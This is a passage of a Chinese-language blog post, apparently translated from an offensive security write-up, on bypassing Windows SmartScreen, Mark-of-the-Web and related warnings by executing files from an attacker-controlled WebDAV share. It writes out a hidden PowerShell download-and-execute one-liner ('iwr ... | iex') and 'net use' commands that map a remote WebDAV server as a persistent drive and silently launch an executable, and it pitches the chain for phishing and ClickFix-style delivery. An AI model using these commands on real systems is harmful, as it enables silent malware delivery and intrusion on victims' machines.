0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">或者，如果我使用 </span><strong><span leaf="">Windows 资源管理器</span></strong><span leaf="">：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013051" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=15fffd5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjQ0yYERkLvLr7RYk7G3JibhicMfsxnqHyJgticfwBRaLo1g1lWbZBNHFT4r2ic2MibEibXvugrFudFMDTz8lm6cTkCicv9kxGibRo380U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">一样的东西……</span></strong></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013052" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e81236fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjGicEbia9AeGaTS1ltZahBicSKsKjLxBx99MhRd5okQM2HrtAfE28XFl69Nrv2o5c3lMLaKnibuU1sVlOr4TxFWumXABc5miczhfBE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">然而！！！我有了突破</span></strong><span leaf="">🥷</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">完整突破：映射驱动器与从终端环境内执行可绕过一切！</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果我们从 PowerShell 或 CMD 终端内执行我们的 WebDav 共享……尤里卡！不再有告警！！！自己看吧。这是我在 PowerShell 终端会话中指向我的 WebDav 共享：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013053" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4265e728&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSg10fLBJeeNQEnbsFNjdSbAs5GMco5XPRBz7CM1Y5SHKUicY8UtV34JGfTTufpX8SPrLReBVhhWmiaNIia3zxW1EBotOqfHB3G7Pc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">顺便说一下，我从 WebDav 共享执行的那个 exe 会启动 calc 😆</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我觉得有必要对任何对我使用的 UNC 路径感到困惑的人重申一下。我知道它看起来像标准的 SMB/UNC，但我向你保证在 WebDav 下它走的是 80/443。在我的情况中，我设置了从 80 到 443 的重定向，并为 VPS 上的 WebDav 服务器使用了 Cloudflare 签名证书。很酷对吧？！为了证明这一点，看看我拍的一些 Wireshark 截图，确认我们的实验只涉及 80/443 端口：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013054" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=612213ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSg0c3kNdTwWqgTeVUDtF7Q2sYnbvFsXV03umEVNicl5jOrGyPSXX7mSh2icY0W2RweqtWEs72gnaR2QREcQzrUWjjla98llJgXvI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013056" data-ratio="0.3505275498241501" data-s="300,640" type="block" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=5e22bb4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaQf0RuU8NUKT5EqHHHBkcYDMziaE7RY7mDD8wKjbPfCEDEY5pcjfryJYRrvialarmAcuvTymTLrcD97icsEIUs9zSLbSobTFwn6Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">现在，包含 80 和 443：</span></strong></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013057" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=80bb80e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjeCnpibQFKZDjwgNiahPJD3NxskuQKnqawIwrScsEcbriaWSMXebRJreibCmdmwc2pPCfvg2lZJ9czaiarlFibuhgGRQjdcb9d1asJs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">你可以看到我们通过 80 和 443 跨越网络，已确认！</span></figcaption></figure><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">这里有一个单行命令可以打开我们 WebDavShare 中的任何可执行文件来勾起你的兴趣 😸</span></p></blockquote><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">首先，创建一个包含以下内容的 PS1 文件：</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">\YOURWEBDAV_SERVERshared-filesyourexecutable.exe</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来，将其上传到某处，然后使用 PowerShell 下载并在内存中执行：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">powershell -w h -c &#34;iwr &#39;<a href="https://some_server_you_own/webdav_runner.ps1" target="_blank">https://some_server_you_own/webdav_runner.ps1</a>&#39; -UseBasicParsing | iex&#34;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这会在 PowerShell 终端环境中执行，绕过 SmartScreen、MOTW 和那个&#34;其他&#34;告警！😺</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">发现第二部分</span></h2><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">这里是我发现终极技术的地方：</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">与其直接从 UNC 路径启动文件，不如先将 WebDAV 共享映射到驱动器号，然后从映射驱动器启动。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">cmd.exe /c net use Z: <a href="https://some_server_you_own/shared-files" target="_blank">https://some_server_you_own/shared-files</a> /persistent:yes 2&gt;nul &amp;&amp; start &#34;&#34; &#34;Z:YOUR_EXECUTABLE.exe&#34;</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在我的情况中，那就是：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">cmd.exe /c net use Z: <a href="https://transf0rm.g3tsyst3m.online/shared-files" target="_blank">https://transf0rm.g3tsyst3m.online/shared-files</a> /persistent:yes 2&gt;nul &amp;&amp; start &#34;&#34; &#34;Z:winexec_nonulls.exe&#34;</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">（别担心，我删除了我的演示域名，所以让你看到它们也没关系 😸）</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我测试这个时，可执行文件启动时零提示、零警告、零 MOTW 标记、零 SmartScreen 信誉检查。什么都没有。静默执行。太幸福了。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">原因是什么？当 Windows 评估文件执行时，它对通过本地驱动器号访问的文件与通过 UNC 路径访问的文件在根本上是不同对待的。即使那个驱动器号实际上是由攻击者控制的 WebDAV 服务器支撑的网络挂载也是如此。心智模型是这样的：Shell 的附件执行服务对这两种场景有不同的代码路径：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">UNC 路径（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\\server\share\file.exe</span></code><span leaf="">）→ Windows 识别出这是一个网络位置 → 基于区域的安全关卡触发</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">驱动器号（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Z:\file.exe</span></code><span leaf="">）→ Windows 将此视为本地驱动器 → 适用于网络位置的安全关卡根本不会触发</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从 Shell 的角度来看，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Z:</span></code><span leaf="">上的文件就是 Z: 驱动器上的一个文件。Z: 实际上通过 HTTPS 挂载到我们攻击者控制的 WebDAV 服务器这一事实，是一个不会上浮到执行安全检查的抽象细节。文件看起来是本地的，所以它就被当作本地的来处理。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">这有效绕过了整个互联网&#34;印记&#34;安全关卡链：</span></strong></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">基于区域的 MOTW 附件</span></strong><p><span leaf="">-&gt; 被跳过，因为文件看起来是&#34;本地的&#34;</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">那个&#34;其他&#34;告警</span></strong><p><span leaf="">-&gt; 被跳过，因为映射驱动器文件执行不会触发相同的检查</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">SmartScreen 信誉检查</span></strong><p><span leaf="">-&gt; 被跳过，因为文件未被标记为来自互联网</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Zone.Identifier ADS 标记</span></strong><p><span leaf="">-&gt; 从未在第一时间被应用</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另外郑重声明，这里没有任何漏洞利用！我没有任何秘密的受信任区域绕过，我向你保证。自己看 😸</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013058" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=18f8bbfa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSg03l7WuiaTMPhGEoRfC6CrN2m1edyrzET1me5Cgq9zDTQ1l0ov0fmKbs3tweqAYqt0eJtI0O4fFTt5pic62OVl9zQSQgDX2ykrw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更进一步，我可以将我的 PE 加载器指向我的 WebDav 共享，从 WebDav 共享拉取并在内存中下载执行 PE！</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013059" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1b03b32d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShwYdVNia4OMqjvfqNQSShgB1xgKlmwiauicMphuNkwnC7MoZUAl0lWPFgmb8bcopb434DOAoe8E81Kiaosm5CJdeq0EYwdSRCnABw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013060" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=534751da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgotAECibSUaa5FDvzNGgPy2MicoicpicdHgJCMiawWrChsYpq4z0xZzAhicAJTDc3CYFJcicgs17KsoT528bLjPGOIMekV7Hetx8uKwM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">为什么这改变了一切</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种技术与我之前研究的无点主机名或 DNS 后缀技巧确实不同。那些方法需要仔细的网络操控或预先存在的据点来更改区域映射。映射驱动器的方法更简单：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它适用于任何 FQDN，只需要一条命令，并利用了一个存在于每台现代 Windows 系统上的核心 Windows 功能（WebClient 服务和驱动器映射）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它对于外部钓鱼或利用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ClickFix/FileFix</span></code><span leaf="">也立即可行。投递载荷可以执行单条 net use 命令。这可以完全静默，无需管理员权限即可运行，并且可以通过 /persistent:yes 在重启后持久化。然后我们可以从已映射的驱动器启动实际的恶意可执行文件。整个执行链看起来是合法的：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 